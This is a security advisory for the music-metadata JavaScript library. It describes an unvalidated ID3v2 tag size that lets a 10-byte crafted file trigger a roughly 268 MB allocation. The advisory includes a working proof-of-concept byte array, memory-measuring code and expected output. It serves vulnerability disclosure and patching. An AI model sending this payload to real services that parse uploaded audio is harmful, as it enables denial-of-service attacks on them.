Vulnerability GHSA-jjpr-9cvf-cq55

Medium Risk
MEDIUM RISK
CVSS Score: 6.2
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
3 hours ago
October 08, 2026 at 07:43 PM UTC
music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS
0.0.1 - 11.15.0
0.0.1 - 11.15.0

Summary

music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS

Details

Summary

The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.

PoC

Complete reproduction steps:

import { parseBuffer } from 'music-metadata';

// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33,       // "ID3" identifier
  0x04, 0x00,             // Version 2.4.0
  0x00,                   // Flags (no unsync, no extended header, etc)
  0x7f, 0x7f, 0x7f, 0x7f  // Syncsafe integer: maximum size (268,435,455 bytes)
  // File ends here - truncated
]);

console.log('Input file size:', maliciousFile.byteLength, 'bytes');

try {
  const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
  console.log('✓ Parse succeeded (no error thrown)');
  console.log('✓ Metadata returned:', metadata);
  console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
  console.error('✗ Unexpected error:', error.message);
}

To demonstrate memory impact:

Run with node --expose-gc to monitor allocations:

// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';

const maliciousFile = Uint8Array.from([
  0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
  0x7f, 0x7f, 0x7f, 0x7f
]);

// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();

console.log('Memory before:', {
  heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});

const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;

const after = process.memoryUsage();

console.log('Memory after:', {
  heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
  external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
  heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
  externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});

console.log('Parse time:', duration.toFixed(2) + ' ms');
console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');

Expected output:

Input file size: 10 bytes
✓ Parse succeeded (no error thrown)
✓ Metadata returned: { format: {}, common: {}, native: {} }
⚠️ ~268 MB was allocated despite only 10 bytes of input

Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' }
Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' }
externalDelta: 256.00 MB
Parse time: 15.23 ms
Result: ⚠️ LARGE ALLOCATION

Impacted packages

Timeline

Published
3 hours ago
October 08, 2026 at 07:43 PM UTC
Fixed (11.16.0)
Unknown
Unknown
Last Modified
3 hours ago
October 08, 2026 at 08:00 PM UTC